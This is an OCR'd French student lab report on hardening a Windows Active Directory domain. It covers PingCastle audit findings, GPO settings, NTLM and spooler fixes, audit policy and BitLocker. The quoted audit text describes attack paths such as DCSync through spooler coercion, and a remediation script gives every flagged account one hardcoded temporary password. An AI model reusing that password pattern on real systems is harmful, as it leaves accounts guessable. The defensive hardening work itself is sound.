E' File and Printer Sharing for Microsoft Networks
QoS Packet Scheduler

A Intemet Protocol Version 4 (TCF/IPv4)

. Microsoft Netwark Adapter Muttiplexor Protocal
Microsoft LLDP Protocal Driver

Intemet Protocol Version %‘I’CP!IPVE}-

~ORORERER

Uninstal

tai

Install...

Description

Transmission Control Protocol/Intemet Protocol. The defg

wide area network protocol that provides communication
across diverse interconnected networks.

oK

Propertii

Can

Advanced TCP/IP Settings
IP Settings DNS ~ WINS

WINS addresses, in order of use:

Add... Remove

If LMHOSTS lookup is enabled, it applies to all connections for which
TCP/IP iz enabled.

Enable LMHOSTS lookup Import LMHOSTS. ..

MNetBIOS setting

(O Default:
Use MetBIOS setting from the DHCF server. If static IP address
is used or the DHCP server does not provide NetBIOS setting,
enable MetBIOS over TCP/IP.

(O) Enable NetBIOS over TCPIP
(®) Disable NetBIOS over TCP/IP

Cancel

5.2 Man-in-the-Middle via IPv6 et RDP

Pour contrer le spoofing réseau et I'interception d'identifiants, plusieurs méthodes existent :

« Sile protocole IPv6 n'est pas utilisé, I'utilisation de I'lPv6 doit étre désactivée sur I'ensemble

des cartes réseau du parc.

LDAP doit étre rendue obligatoire via les Stratégies de Groupe.

Afin d’'empécher les attaques de relais, la signature numérique des communications SMB et

« Pour sécuriser les connexions, la mise en place d'une Autorité de Certification (PKI) est
recommandée. Elle permettra de doter les serveurs de certificats, garantissant leur identité

aupres des postes clients.

Concernant le RDP : il existe deux GPO a appliquer. La premiére est d'obliger

I'authentification via NLA (Network Level Authentication). La seconde permettra d'interdire

d'ignorer les erreurs de certificat.

Application de la premiere GPO :

Configuration ordinateur > Stratégies > Modeles d'administration > Composants Windows
> Services Bureau a distance > Héte de la session > Sécurité > Exiger
1'authentification utilisateur pour les connexions a distance (NLA)
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LT U USELS] AGITHITISU LT LOWIIUEUS; FINYLEs

|g

File  Action
4| 216

<

& Require user authentication for remote cannections by using Metwork Level Authentication m] X

E: Require user authentication for remote connections by using Network Level Authentication

View Help
= | Previous Setting
2 Mi ft A i -
_J_ . . Security (O Not Configured ~ Comment:
| Microsoft — =
= - equire user authen|
_J gﬁl\;e_ﬁlr remote connections, ® Enabled
=l Unelinve Network Level Auth| :
| Online Ass @Stz
| OOBE ETualeerey Supperted on: [ At |east Windows Vista
policy setting
| Portable C
| Presentatit Requirements:
S PushToln || AtlesstWindowsVist) gpion., Help:
7 Remote Di Description:
| RD Lict This policy setting all This policy setting allows you te specify whether to require user | 4
| Remot| specify whether to res authentication for remote connections to the RD Session Host
v =] Remot. authentication for re server by using Network Level Authentication. This pelicy setting
- A connections to the Rl enhances security by requiring that user authentication occur
ek Host server by using earlier in the remote connection process.
1 Co Level Authentication,
2 Dey setting enhances sec If you enable this policy setting, only client computers that
8 Lic requiring that user au suppert Network Level Authentication can connect to the RD
1 Prit accur earlier in the re Session Host server.
= Pre connection process,
- To determine whether a client computer supperts Network Level
=l RD If you enable this poli Authentication, start Remote Desktop Connection en the client
7 Rer enly client computer: computer, click the icon in the upper-left corner of the Remote
] Sec support Metwork Leve Desktop Connectien dialog box, and then click About. In the
] Ses Authentication can ¢ About Remote Desktop Connection dialeg box, look for the
= T RD Session Host serve phrase Network Level Authentication supported.
E Ter

> Extended /, Standar:

7 setting(s)

If you disable this policy setting, Network Level Authentication is
not required for user authentication before allowing remote
connections to the RD Sescinn Host cerver N

[Mbcpvmre Ancees = vimgemoTT = AT Tive o

La deuxiéme GPO (nécessite les services AD CS) :

Configuration ordinateur > Modeles d'administration > Composants Windows > Services

Cancel Apply

Bureau a distance > Client Connexion Bureau a distance

E} Configure server authentication for client

(O Mot Configured Comment:
@ Enabled
O Disabled
Supported on:
Options:

T & Configure server authentication for client

Previous Setting

At least Windows Vista with Service Pack 1

Help:

Authentication setting:

Do not connect if authentication fails

This policy setting allows you to specify whether the client will
establish a connection to the RD Session Host server when the
client cannot authenticate the RD Session Host server.

If you enable this policy setting, you must specify one of the
following settings:

Always connect, even if authentication fails: The client connects
to the RD Session Host server even if the client cannot
authenticate the RD Session Host server.

Warn me if authentication fails: The client attempts to
authenticate the RD Session Host server, If the RD Session Host
server can be authenticated, the client establishes a connection
to the RD Session Host server, If the RD Session Host server
cannot be authenticated, the user is prompted to choose
whether to connect to the RD Session Host server without
authenticating the RD Session Host server,

Do not connect if authentication fails: The client establishes a
connection to the RD Session Host server only if the RD Session

5.3 Audit de sécurité

Cancel Apply

Jai utilisé I'outil PingCastle afin d'avoir un audit de I'AD.
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Indicators

)
Domain Risk Level: 557100

It is the maximum score of the 4 indicators and one score cannot be higher than 100. The lower the
better

Compare with statistics |

100

Privacy notice

Stale Object - 50 /100 13 rules ~ Trusts - 0 /100 0 rules
matched matched
‘ It is about operatlnns related to user \ It is about connections between two

or computer objects — Active Directories

Privileged Accounts - 50 /100 5 rules Anomalies : 55 /100 13 rules
matched matched
' \ It is about administrators of the \ Itis about specific security control

Active Directory points

L'AD obtient un score de 55 ce qui est plutdét mauvais. Pour cela nous regarderons ce qui ne
va pas dans le Risk Model.

Stale Objects Privileged accounts Trusts Anomalies

Inactive user or computer Account take over Old trust protocol Audit

ACL Check

Network topography SID Filtering

Object configuration Admin control SIDHistory Ce[uﬂcate take over

Control paths Trust impermeability GOICJ (e Vseera 4

Delegation Check

Obsolete OS

Old authentication protocols Trust inactive Local group vulnerability

Provisioning Ireversible change Trust with Entra Network sniffing

Replication Privilege control Pass-the-credential

Vulnerability management | Read-Only Domain Controllers Password retrieval

Reconnaissance

Temporary admins

Weak password

Legend:

score is 0 - no risk identified

score is 0 - no risk identified but some improvements detected
score between 1 and 10 - a few actions have been identified
score between 10 and 30 - rules should be looked with attention

5.3.1 Comptes sans mot de passe

La premiere remarque est que certains comptes AD n‘ont pas de mot de passe. Cela est dU a
la création par script de nos users. Pour cela on va utiliser un script pour mettre un mot de
passe a nos users.

Sécurisation Windows 56 2025-2026



Import-Module ActiveDirectory

$TempPassword = "TempP@ssword2026!"
$SecurePassword = ConvertTo-SecureString $TempPassword -AsPlainText -Force

Write-Host "Recherche des comptes avec le flag 'PASSWD_NOTREQD'..."

$VulnerableUsers = Get-ADUser -LDAPFilter "(&(objectCategory=person)(objectClass=user)
(userAccountControl:1.2.840.113556.1.4.803:=32))"

Write-Host "$($VulnerableUsers.Count) compte(s) vulnérable(s) détecté(s)." -
ForegroundColor Yellow

foreach ($User in $VulnerableUsers) {
Set-ADAccountPassword -Identity $User.DistinguishedName -NewPassword
$SecurePassword -Reset

$CurrentUAC = (Get-ADUser $User.DistinguishedName -Properties
userAccountControl).userAccountControl

$NewUAC = $CurrentUAC -band (-bnot 32)

Set-ADUser -Identity $User.DistinguishedName -Replace
@{userAccountControl=$NewUAC}

Set-ADUser -Identity $User.DistinguishedName -ChangePasswordAtLogon $true

Write-Host "Patché : $($User.SamAccountName) (UAC mis a jour et mot de passe
forcé)"

}

Write-Host "Opération terminée.™

Number of accounts which can have an empty password (can be overridden by GPO): 12 + 15 Point(s)

H
Check that every account requires a password

Rule ID:
S-PwdNotRequired

Description:
The purpose is to ensure that every account requires a password

Technical explanation
An account can be set without a password if it has the flag "PASSWD_NOTREQD" set as "True" in the "useraccountcontrol” attribute. This
represents a high security risk as the account is not protected at all without a password

Advised solution:

The best solution to solve the problem is to change the "useraccountcontrol” attribute of all the accounts that have it and that are not used in trusts.
If the flag is removed while there is no password set, you will have an error. You can use this o detect accounts without any passwords. Do note that
you can manually check all the accounts that need to be worked on using the following PowerShell command: gef-adobject -Idapfifter "(&
(objectCategory=person)(objectClass=user)(userAccountControl-1.2.840.113556.1.4.803:=32))" -properties useraccountconirol

Sécurisation Windows 57 2025-2026



Note

Etant donné qu'il s'agit d'un LAB, forcer l'application d'un mot de passe n'est pas dramatique.
Cependant cela est déconseillé pour un annuaire de production.

Attention

Ce script attribue un mot de passe au compte utilisateur Guest. Il est important de désactiver ce
compte.

5.3.2 Utilisateur peut joindre d’autres machines au domaine

Par défaut Windows posséde un défaut de configuration : n‘importe quel utilisateur a le droit
de joindre jusqu'a 10 nouveaux ordinateurs au domaine. Pour empécher cela il faut mettre a
0 I'attribut ms-DS-MachineAccountQuota .

Check the process of registration of computers to the domain

Rule ID:
S-ADRegistration

Description
The purpose is to ensure that basic users cannot register extra computers in the domain

Technical explanation:
By default, a basic user can register up to 10 computers within the domain. This default configuration represents a security issue as basic users
shouldn't be able to create such accounts and this task should be handled by administrators

If the value of the attribute ms-DS-MachineAccountQuota is not set (the program see this as "Infinite"), there is no limit to computer addition.

Note: this program checks also the GPO for SeMachineAccountPrivilege assignment. This assignment can be used to restrict the impact of the key
ms-DS-MachineAccountQuota

Advised solution

To solve the issue, limit the number of extra computers that can be registered by a basic user. It can be reduced by modifying the value of ms-DS-
MachineAccountQuota to zero (0). Another solution can be to remove the "Authenticated Users” group in the domain controllers policy altogether

Do note, that if you need to set delegation to an account, so it can add computers to the domain, it can be done through 2 methods: Delegation in
the OU or by assigning the SelfachineAccountPrivilege to a special group

~ Relevant Netwrix Producis

Pour faire cela via ADSI Edit, on sélectionne Tout le monde.
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2 ADSI Edit — m} *
File Action View Help

* *' 7] ‘ x D B ‘—;?| ﬂ DC=serval DC=int Properties ? X
2 ADSI Edit Na Actions

v Default naming context [LLL =d Attribute Editor | Security ——— -
5 || DC=serval,DC=int

% q  Attibutes: More Actions 4
J_ g Attribute WValue 2
g modifiedCourt 1

4 | modfiedCountftiast.. 0
Ed msDS-AllowedDNSS...  <not set>

[Eq | msDS-AlUsersTrustG... 1000
s d msDS-Behavior-Version 7 = WIN2016 )
Ed meDS5-CloudAnchor <not set>

Ed mS-D5ConsistencyC . <not set> %
=4 mS-DS-ConsistencyG... <not set>

- msD5-EnabledFeature  <not set>
I

msDS5-ExpirePasswor... TRUE
19 | meDS-LastknownRDN  <not set>

= d msD5-logonTimeSyn . <not set>

g
Hq
Cancel | | Aoty Heb |
< > < >

5.3.3 Accepter uniquement NTLMv2

Ensure that the NTLMv1 and old LM protocols are banned

Rule ID:
S-OldNtim

Description
The purpose is to check if NTLMv1 or LM can be used by DC

Technical explanation I“\’
NTLMv1 is an old protocol which is known to be vulnerable to cryptographic attacks.
It is typically used when a hacker sniffs the network and fries to retrieve NTLM hashes which can then be used to impersonate users.

This attack can be combined with coerced authentication attacks - a hacker forces the DC to connect to a controlled host.
In this case, NTLMv1 can be specified so the hacker can retrieve the NTLM hash of the DC, impersonates it and then take control of the domain

This attack is still possible with NTLMv2 but this is more difficult

Windows has default security settings regarding LM/NTLM. Windows XP: Send LM & NTLM responses, Windows Server 2003: Send NTLM
response only, Vista/2008: Win7/2008 R2: Send NTLMv2 response only.

Pour cela on crée une nouvelle GPO :
Computer Configuration > Windows Settings > Security Settings > Local Policies
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% Group Palicy Management Editor
File Action View Help

5| nm XE B

_ n |

[ NTLMV1 [LLDAPO1.SERVAL.INT] Policy A
~ & Computer Configuration
v [ Policies
» [ Software Settings
~ [ | Windows Settings
> [ Mame Resolution Pelicy
(& Seripts (Startup/Shutdown)
v i Security Settings
> fﬂ Account Policies
v j Local Policies
> & Audit Policy
> j User Rights Assignm
jﬂ Security Options
i Event Log
("4 Restricted Groups
[T System Services
['8 Registry
[7& File System
o Wired Network (IEEE 80z
"] Windows Defender Firey
] Metwork List Manager P
Ealf Wireless Network (EEE £
» [ Public Key Policies
» [ 7] Software Restriction Pol v

VW W W W W W

v

< >

Paolicy
Ly Network access: Allow anonymous 5I0/Na
l2ls] Network access: Do not allow anonymous
12y Network access: Do not allow anonymous
léls] Network access:
&y Network access:
liy Network access:
2y Network access:

iy Network access:

Do not allow storage of pg
Let Everyone permissions

Mamed Pipes that can be

Remotely accessible regist]
Remotely accessible regist|
l2ls] Metwork access: Restrict anonymous acces|
12y Network access: Restrict clients allowed to
l2s] Network access: Shares that can be accesse
&y Network access:
[2y Network security: Allow Local System to us|
2y Network security: Allow LocalSystem NULL
12y Network security: Allow PKU2U authenticat
l2s] Network security: Configure encryption tyg
lis| Network security: Do not store LAN Manag
12y Network security: Force logoff when logon
% Network security: LAN Manager authentica
12y Network security: LDAP client signing requ
l5] Network security: Minimum session securit

Sharing and security mod

15| Network securitv: Minimum session securit,

Network security: LAN Manager authentication level Prop... ? X

Security Policy Sefting  Explain

i? Network security: LAN Manager authentication level
¢

Define this policy setting
Send NTLMv2 response only. Refuse LM & NTLM

i Modifying this setting may affect compatibility with clients, services,
4% and applications
For more information, see Metwork securty: LAN Manager
authentication level. (Q823659)

o] e ] o]

>

I get-adobject -Idapfi

On accepte uniquement NTLMv2.

5.4 Configurer les sous-

Tous les réseaux doivent étre documentés dans I'’AD. Pour cela

réseaux

dssite.msc et renseigner notre sous-réseau.

ﬁﬂ Active Directory Sites and Sen
File Action View Help
e« | HEXE G
E&Adive Directory Sites and Servic N
w [ Sites !
» [ Inter-Site Transports

5 | Subnets
> [ Default-First-Site-Name

_ararcolinteontrol

il faut ouvrir la console

-| New Object - Subnet

I“j ; Createin:  servalint/Corfiguration/Sites/Subnets

Description

Enter the address prefix using network prefix notation (address/prefix
length), where the prefix length indicates the number of fixed bits. You
can enter either an |Pv4 or an IPv6 subnet prefix.

Leam more about entering address prefixes.

|IPv4 example: 157.54.208.0/20

|IPvE example:  3FFE:FFFF.0:C000:./64

Prefix:

[192.168.100.0/24 |

Prefix name in Active Directory Domain Services:
[192.168.100.0/24 |

Select a site object for this prefix.

Site Name

Cancel Help

Sécurisation Windows

60

2025-2026



5.5 Activer la corbeille

Afin d'éviter les erreurs de suppression il est conseillé d'activer la corbeille. L'activation est

définitive.

Enable-ADOptionalFeature -Identity 'Recycle Bin Feature'
-Scope ForestOrConfigurationSet -Target 'serval.int'

> Enable-ADOptionalFeature

LA Enabling "Recycle Bin Feature® on 'CN=Partitions
You will not be able to disable 'Recycle Bin Feature' on

5.6 Privileges : Droit schéma

ible action!

La bonne pratique est d’enlever tous les administrateurs du groupe Administrateurs du
schéma et de s'accorder les droits uniquement lors d'une mise a jour. Pour régler cela, se
rendre dans le groupe Administrateurs du schéma et y supprimer tous les administrateurs

(attention a bien avoir activé la vue avancée).
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& Active Directory Users

Schema Admins Properties
File Action View Help X
P = Obiect Securty

&= |H dz HE A aET7E% General Members Member OF

> Ei Administrator ~ || Mame Type Members:

Attribute: Editor
Managed By

> 82 Allowed RODC Password Replication Group
52, Cert Publishers

> .06 Cloneable Demain Controllers

> 82 Denied RODC Password Replication Group

> 82 DnsAdmins

> 82 DnsUpdateProxy

> .06 Demain Admins

> .@, Demain Computers

> 82 Domain Controllers

> 82 Domain Guests

> .06 Demain Users

> .@, Enterprise Admins

> #3, Enterprise Key Admins

> 82 Enterprise Read-only Domain Controllers

> }?) Group Policy Creator Qwners

Zdservalint Dom,

[] saved Queries Mame Active Directory Domain Services Folder

2, Guest
> & Gue
> 8 Key Admins Remove
> 82 Protected Users
> % RAS and IAS Servers

> .% Read-only Domain Controllers | 0K | | Cancel | ‘

Apply Help

> 82 Schema Admins

5.7 Protected Users

Dans ce groupe, Windows applique des restrictions :

« L'authentification NTLM est interdite, Kerberos est obligatoire
« La délégation Kerberos est bloquée

 Les mots de passe ne sont plus mis en cache sur les postes

| File Action View Help

e z@ 40 XEa= 0
| System
w || Users Object Security
33‘ Access-Denied Assistance Users General Members Member Of

?_) Administrator

Protected Users Properties

Members:

Attribute Editor
Managed By

2, Allowed RODC Password Replication Group
:3!‘ Cloneable Domain Controllers a_’) Administrator servalint./Users

52, DnsAdmins
52, DnsUpdateProxy
2, Domain Admins
82, Domain Computers
52, Domain Controllers
2, Domain Guests
> H2, Domain Users
52, Enterprise Admins
2, Enterprise Key Admins
52, Enterprise Read-only Domain Controllers
82, Group Policy Creator Owners

82, Cert Publishers Name Active Directory Domain Services Folder
-

2, Denied RODC Password Replication Group E’) Arthur Popov servalint/Domain User/IT/Sys ADM

3_. Guest

> 82, Key Admins Remave
> 3_. krbtgt
52, Protected Users

ok || Cance || Appy Help

Sécurisation Windows 62

2025-2026



5.7.1 Suppression de la délégation des admins

Dans le cas ou une application/serveur a besoin d'un compte admin spécifique, il faut
désactiver a minima la délégation.

/\\gr‘thur POPOV Properties

Member Of Dialin Environment
Remote control Remote Desktop Services Profile
General Address Account Profile Telephones

User logon name:

User logon name (pre-Windows 2000):

? X

Sessions
COM+
Organization

| SERVALY | |ap0p0vadm|

Logon Hours... Log On To...

[ Unlock accourt

Account options:

[ Accourt is disabled

[ Smart card is required for interactive logon

Account is sensitive and cannot be delegated

[ Use only Kerberos DES encryption types for this account

Account expires

(® Never

(O End of:

samedi 16 mai 2026

Cancel Aoy

5.8 Désactiver le Spooler d'impression

Help

Patcher la faille du Spooler d'impression. La bonne pratique est d’externaliser le spooler
d'impression sur un autre serveur dédié. Pour désactiver le service, il faut I'arréter et le

désactiver.

Le risque d'avoir le Spooler actif sur I'AD est qu'un attaquant peut usurper une «imprimante »
et proposer des mises a jour de pilotes malveillantes.
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Print Spooler MName Description Status Startup Type Log On As
Start th . 1 Payments and NFC/SE Man... Manages pa... Print Spocler Properties (Local Computer) >
RIS EES ‘& Perfformance Counter DLL ... Enables rem...
gk Perfformance Logs & Alerts  Performanc... General LogOn  Recovery Dependencies
Description: ‘&L Plug and Play Enablesac.. Running )
;-I"'E;IEN_“: SF;?" P”:EJ::; a’i‘dt ) Portable Device Enumerator... Enforces gr... SEUEErENE  IOE
ancles interacion With ENe printer. &% pawer Manages p..  Running Display name Print Spooler

If you turn off this service, you won't
be able to print or see your printers. &3 Print Spooler IS e Descrition: This service spools print jobe and handles interaction
& Printer Extensions and Notif... This service ... | with the printer. K you tum off this service, you won't ©
Gk PrintWorkflow_437a3 Provides su... R e e e e
‘& Problem Reports Control Pa... This service ... Path to executable:

C:\Windows'\System32\spoolsv exe

{;’;Prngram Compatibility Assi
{,};Quality Windows Audio Vid... Quality Win... Startup type: Disabled ~
\',I);Radm Management Service  Radio Mana...
Q; Remote Access Auto Conne.. Creates a co..

This service ... Running

\Q;Remnte)’-\:(essCnnne(t\nn‘.. Manages di... Running

\,Cé‘; Remote Desktop Configurat.. Remote Des... SrUEECE S

{,9; Remaote Desktop Services Allows user... Stop Pause Resume
\.'.(I); Remote Desktop Services U... Allows ther...

{,9; Remote Procedure Call (RPC) The RPCS5s...  Running
Q;Remote Procedure Call (RP... In Windows...

Q‘); Rernote Registry Enables rem... Start parameters: |
\5;*; Resultant Set of Policy Provi.. Provides an...
»5,:); Routing and Remote Access  Offers routi...
\,C;*; RPC Endpoint Mapper Resolves RP... Running OK Cancel Apply

‘You can specify the start parameters that apply when you start the service
from here.

The spooler service is remotely accessible from 1 DC + 10 Point(s)

Ensure that the Print Spooler service cannot be abused to get the DC credentials

Rule ID:
A-DC-Spooler

Descriplion:
The purpose is to ensure that credentials cannot be extracted from the DC via its Print Spooler service

Technical explanation:

When there's an account with unconstrained delegation configured (which is fairly common) and the Print Spooler service running on a computer, you can get that computers
credenfials sent to the system with unconstrained delegation as a user. With a domain controller, the TGT of the DC can be exiracted allowing an attacker to reuse it with a
DCSync attack and obtain all user hashes and impersonate them

Advised solution:
The Print Spooler service should be deactivated on domain controllers. Please note as a consequence that the Printer Pruning functionality (rarely used) will be unavailable.

5.9 Durcir les chemins UNC utilisés par les GPO

Lorsqu'un client Windows démarre ou qu’un utilisateur ouvre une session, la machine
télécharge automatiquement les GPO depuis le Controleur de Domaine. Cependant ceci est
vulnérable a I'attaque MITM.
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Hardened Paths weakness

Rule ID:
A-HardenedPaths

Description:
The purpose is fo ensure that there is no weakness related to hardened paths

Technical explanation:

Two vulnerabilities have been reported in 2015 (MS515-011 and MS15-014) which allows a domain takeover via GPO medifications done with a man-in-the-middle attack.
To mitigate these vulnerabilites, Microsoft has designed a workaround named "Hardened Paths™ It forces connection settings to enforce Integrity, Mutual Authentication or
Privacy.

By default if this policy is empty, if will enforce Integrity and Mutual Authentication on the SYSVOL or NETLOGON shares

This rule checks if there have been any overwrite to disable this protection

Advised solution:

You have to edit the Hardened Path section in the GPO.

This section is located in Computer Configuration/Policies/Administrative Templates/NetworkiNetwork Provider.

Check each value reperted here and make sure that entries containing SYSVOL or NETLOGON have Requireintegrity and RequireMutual Authentication set to 1.
In addition to that, check eniries having the pattern WDCName'* and apply the same solution.

Computer Configuration > Policies > Administrative Templates > Network > Network
Provider

olic] g 0o X
File Action

RN ‘ > | ] Hardened UNC Paths

Show Contents ] >

. Comment:
@ i Hardened UNC Paths

(®) Enabled
v Value name Value

O Disabled WLLDAP D1 \Applications RequireMutual Authentication=1,Requirel...
ol Supported on:

WLLDAPD1"Profils RequireMutual Authenticati Require!
» WLLDAPOT\Shares RequireMutual Authenti

Options: L

the share name portion of the UNC pal

omitted. For example, "\\SERVER".

In the value field, specify one or more

following options, separated by com)

‘RequireMutualAuthentication=1"
authentication between the client and| LEEE
required to ensure the client connects 1o the correct
server.

‘Requirelntegrity=1": Communication between the
client and server must employ an integrity

J: mechanism to prevent data tampering.
J‘ ‘RequirePrivacy=1'; Communication between the
|| client and the server must be encrypted to prevent
7| third parties from observing sensitive data.
< || Hardened UNC Paths:
1 setting(s) .
< >
OK Cancel Apply
Nom de la valeur Valeur a saisir
\\LLDAP@1\applications RequireMutualAuthentication=1,RequireIntegrity=1
\\LLDAP@1\profils RequireMutualAuthentication=1,RequireIntegrity=1,RequirePrivacys-
\\LLDAP@1\shares RequireMutualAuthentication=1,RequireIntegrity=1
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* RequireMutualAuthentication=1 : oblige le PC a vérifier que le serveur auquel il

communique est bien le vrai serveur de I'entreprise grace a un ticket Kerberos.

* RequireIntegrity=1 :force la signature SMB.

* RequirePrivacy=1 :force le chiffrement total du trafic SMB.

5.10 Créer une GPO d’audit

Par défaut, Windows ne log pas tout. PingCastle demande de créer une GPO pour logger des
activités importantes (Création de comptes, authentification via Kerberos, activité de la clé

DPAPI).

The audit policy on domain controllers does not collect key events.

Check if there is the expected audit policy on domain controllers.

Rule ID:
A-AUditDC

Diescription:
The purpose is fo ensure that the audit policy on domain controllers collects the right set of events

Technical explanation:
To detect and mitigate an attack, the right set of events need to be collected.
The audit policy is a compromise between too much and too few evenis to collect.

To solve this problem, the suggested audit policy from adsecurity.org is checked against the audit policy in place

Advised solution

Identify the Audit settings to apply and fix them

Be aware that there are two places for audit settings.
For "Simple” audit configuration:

in Computer Configuration > Policies -= Windows Settings -= Security Settings - Local Policies - Audit Policies

For "Advanced" audit configuration:

in Computer Configuraion -= Policies -= Windows Settings -> Security Settings = Advanced Audit Policy Configuration
Also be sure that the audit GPO is applied to all domain controllers, as the underlying object may be in a OU where the GPO is not applied.

Catégorie d'audit

Succes

+ 10 Point(s)

Echec

Computer Account Management
User Account Management
Security Group Management
Kerberos Authentication Service
Kerberos Service Ticket Operations
Logon

Logoff

Special Logon

Process Creation

DPAPI Activity

Security System Extension
Sensitive Privilege Use
Authentication Policy Change

<

NENENENENENENENENENENEN

NENES

NIEN
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La configuration se trouve dans :

Computer configuration > Windows Policies > Security Setting > Advanced Audit Policy
Configuration

Puis lier au DC.

« Computer/User Account Management : surveiller I'ajout et suppression d'un ordinateur
et de comptes. Security Group Management surveille I'ajout et suppression d'une personne
a un groupe.

« Kerberos Authentication Service : logue chaque demande de ticket d'identité. Le refus
permet de voir des attaques bruteforce ou password spraying.

« Kerberos Service Ticket Operations : logue chaque fois qu'un utilisateur demande a
accéder a un service. Le refus permet de voir les attaques de type Kerberoast.

+ Logon/Logoff : permet de voir qui se connecte sur des services tels que RDP, SMB, etc.
Special Logon permet de voir les comptes a privileges. Le refus permet de détecter des
attaques brute-force ou password spraying.

 Process Creation : enregistre chaque ouverture/fermeture d’'un service (cmd, PowerShell,
GPMC, etc)

» DPAPI Activity : permet de surveiller I'utilisation de cette clé.

« Security System Extension : permet de voir |'enregistrement ou le chargement de tout
nouveau module de sécurité tiers.

« Sensitive Privilege Use : détecte quand un utilisateur utilise un droit administrateur.

« Authentication Policy Change : alerte si un administrateur modifie les regles de confiance
du domaine.

5.11 Changement de la Default Domain Policy

Par défaut nous avons une politique de mot de passe comme ceci :

=] Group Palicy Management Editor - X
File Alion View Help
e 2 XE| 0
54 Scripts (Startup/Shutdown) A~ [ policy
v 3 Security Settings
v [ Account Policies
i Password Policy
5 Account Lockout Policy

7 Kerberos Policy
3 Local Policies Minimum passwort d length audit Mot Defined

§ Eventlog Password must meet complexity requirements Enabled
B Restricted Groups Relax minimum password length limits Not Defined

Policy Setting

Enforce password history 24 passwords remembered
Maximum password age 42 days

Minimum password age 1days

Minimum password length 7 characters

3 System Services Store passwords using reversible encryption Diszbled
A Registry
A File System
£/ Wired Network (IEEE 802.3) Poli
“| Windows Defender Firewall witl
“| Network List Manager Policies
Eafl Wireless Network (IEEE 802.11) |
| Public Key Policies
7 Software Restriction Policies
| Application Control Policies
&, 1P Security Policies on Active Di
| Advanced Audit Policy Confige
il Policy-based QoS
v [ Administrative Templates: Policy defin
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Il est important de la changer. La nouvelle politique impose un mot de passe d’au minimum
12 caracteres, une rotation tous les 90 jours et un verrouillage apres 5 essais échoués.

{4, Group Policy Management Editor

File Action View Help

e aEXE= 8

) Seripts (Startup/Shutdown)
~ [ Security Settings

~ [ Account Policies
5 Password Policy
Account Lockout Policy
Kerberos Policy

Local Policies
Event Log
5 Restricted Groups
"4 System Services
"4 Registry
% File System
Wired Network (IEEE 202.3) Peli
1 Windows Defender Firewall witl
7 Network List Manager Policies
Faf Wireless Network (IEEE 802.11) |
| Public Key Policies
1 Software Restriction Policies
| Application Control Policies

5.12 BitLocker

A || poliey

Enforce password history
Maximum passwerd age
Minimum password age
Minimum password length
ngth aus
Password must meet complexity requirements

mum password

Relax minimum password length limits
Store passwords using reversible encryption

Policy Setting

24 passwords remembered
90 days

1 days

12 characters

Not D
Enabled
Not Defined
Disabled

5l Group Policy Mar

File Action View Help

|2 |6 P

~ [ Windows Con A

| ActiveXIn
| Add featur
1 App Packe

| BitLocker Drive Encryption

Choose drive encryption method
and cipher strength (Windows 10
[Version 1511] and later)

Setting

7| Fixed Data Drives
Onarat tcen D

| App Pri
| Applica

=] Biometr
~ (] BitLocks
§ Ficc]
=] Ope
| Rer
Camera
Cloud
Connec|
Credent
Data Co
Deliver
Deskiol

Previous Setting Next Setting

| App run & Choose drive encryptien method and cipher strength (Windows 10 [Version 1511] and later) [m) X

1 AutoPla| [] Choose drive encryption method and cipher strength (Windows 10 [Version 15111 and later)

O Mot Configured ~ Comment:

@® Enabled

O Disabled

Supported on:

At least Windows Server 2016, Windows 10

Options:

Help:

Deskto,
Device

IEEREREERERE

Device
| Digital
| Edge Ul
Event F
Event L
Event L
Event Vi
File Expl
File Hist
Find M
Handw
HomeG
> [ Internet|

1 Internat

L

EEEDRDRREL

Select the encryption method for operating system

drives:

XTS-AES 256-bit -

Select the encryption method for fixed data drives:

XTS-AES 256-bit ~

Select the encryptien method for removable data

drives:

XTS-AES 256-bit v

This policy setting allows you to configure the algerithm and
cipher strength used by BitLocker Drive Encryption. This policy
setting is applied when you turn on BitLocker, Changing the
encryption method has no effect if the drive is already encrypted,
orif encryption s in progress.

If you enable this policy setting you will be able to configure an
encryption algorithm and key cipher strength for fixed data
drives, operating system drives, and removable data drives
individually. For fixed and operating system drives, we
recommend that you use the XTS-AES algerithm. For removable
drives, you should use AES-CBC 128-bit or AES-CBC 256-bit if the
drive will be used in other devices that are not running Windows
10 (Version 1511).

I you disable or do not cenfigure this policy setting, BitLocker
will use AES with the same bit strength (128-bit or 256-bit) as the
*Choose drive encryption method and cipher strength (Windows
Vista, Windows Server 2008, Windows 7)" and “Cheose drive

encruntion methad and cinher ctrenath” nolicy ettins fin that

lows Server 2008 and Windows Vista)
and Windows Vista)
yver 2012, Windows 8.1, Windouws Server 2012 R2,

1] and leter)
Server 2008, Windows 7, Windows Server 2008 R2)

State

Not configured
Not configured
Not configured
Nt configured
Not configured
Not configured
Not configured
Not configured
Not configured
Not configured
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5.12.1 Prérequis

A Require additional authentication at startup

E‘ Require additional authentication at startup

Previous Setting Mext Setting

() Mot Configured Comment:

(@) Enabled
() Disabled

Supported oni [ At jeast Windows Server 2008 R2 or Windows 7

Opticons:

Help:

Allow BitLocker without a compatible TPM
(requires a password or a startup key on a
USB flash drive)

Settings for computers with a TPM:
Configure TPM startup:

Allow TPM ~

Cenfigure TPM startup PIN:

Allow startup PIN with TPM ~
Configure TPM startup key:

Allow startup key with TPM ~

Configure TPM startup key and PIN:

need to use one of the BitLocker recovery options to access the
drive,

On a computer with a compatible TPM, four types of
authentication methods can be used at startup to provide added
protection for encrypted data. When the computer starts, it can
use only the TPM for authentication, or it can alse require
insertion of a USE flash drive containing a startup key, the entry
of a 6-digit to 20-digit personal identification number (PIM), or
both,

If you enable this policy setting, users can configure advanced
startup options in the BitLocker setup wizard.

If you disable or do not configure this policy setting, users can
configure only basic options on computers with a TPM.

Mote: If you want to require the use of a startup PIM and a USE
flash drive, you must configure BitLocker settings using the

Allow startup key and PIN with TPM i command-line tool manage-bde instead of the BitLocker Drive
Encryption setup wizard,
XN
& Choose how BitLocker-protected operating system drives can be recovered O X

E5] Choose how Bitlacker-protected operating system drives can be recovered

Mext Setting

O Not Configured ~ Comment:

(®) Enabled

() Disabled

Supperted on: [ A |east Windows Server 2008 R2 or Windows 7

Options:

Help:

Allow data recovery agent

Configure user storage of BitLocker recovery

infermation:
Allow 48-digit recovery password ~
Allow 256-bit recovery key ~

Omit recovery opticns from the BitLocker setup
wizard

Save BitLocker recovery information to AD DS
for operating system drives

Configure storage of BitLoc ker recovery information
to AD DS:

Store recovery passwords only ~

Do not enable BitLocker until recovery
[ information is stored to AD DS for operating
system drives

This policy setting allows you ta cantrol how Bitlocker-protected
operating system drives are recovered in the absence of the
required startup key information, This policy setting is applied
when you turn on BitLocker.

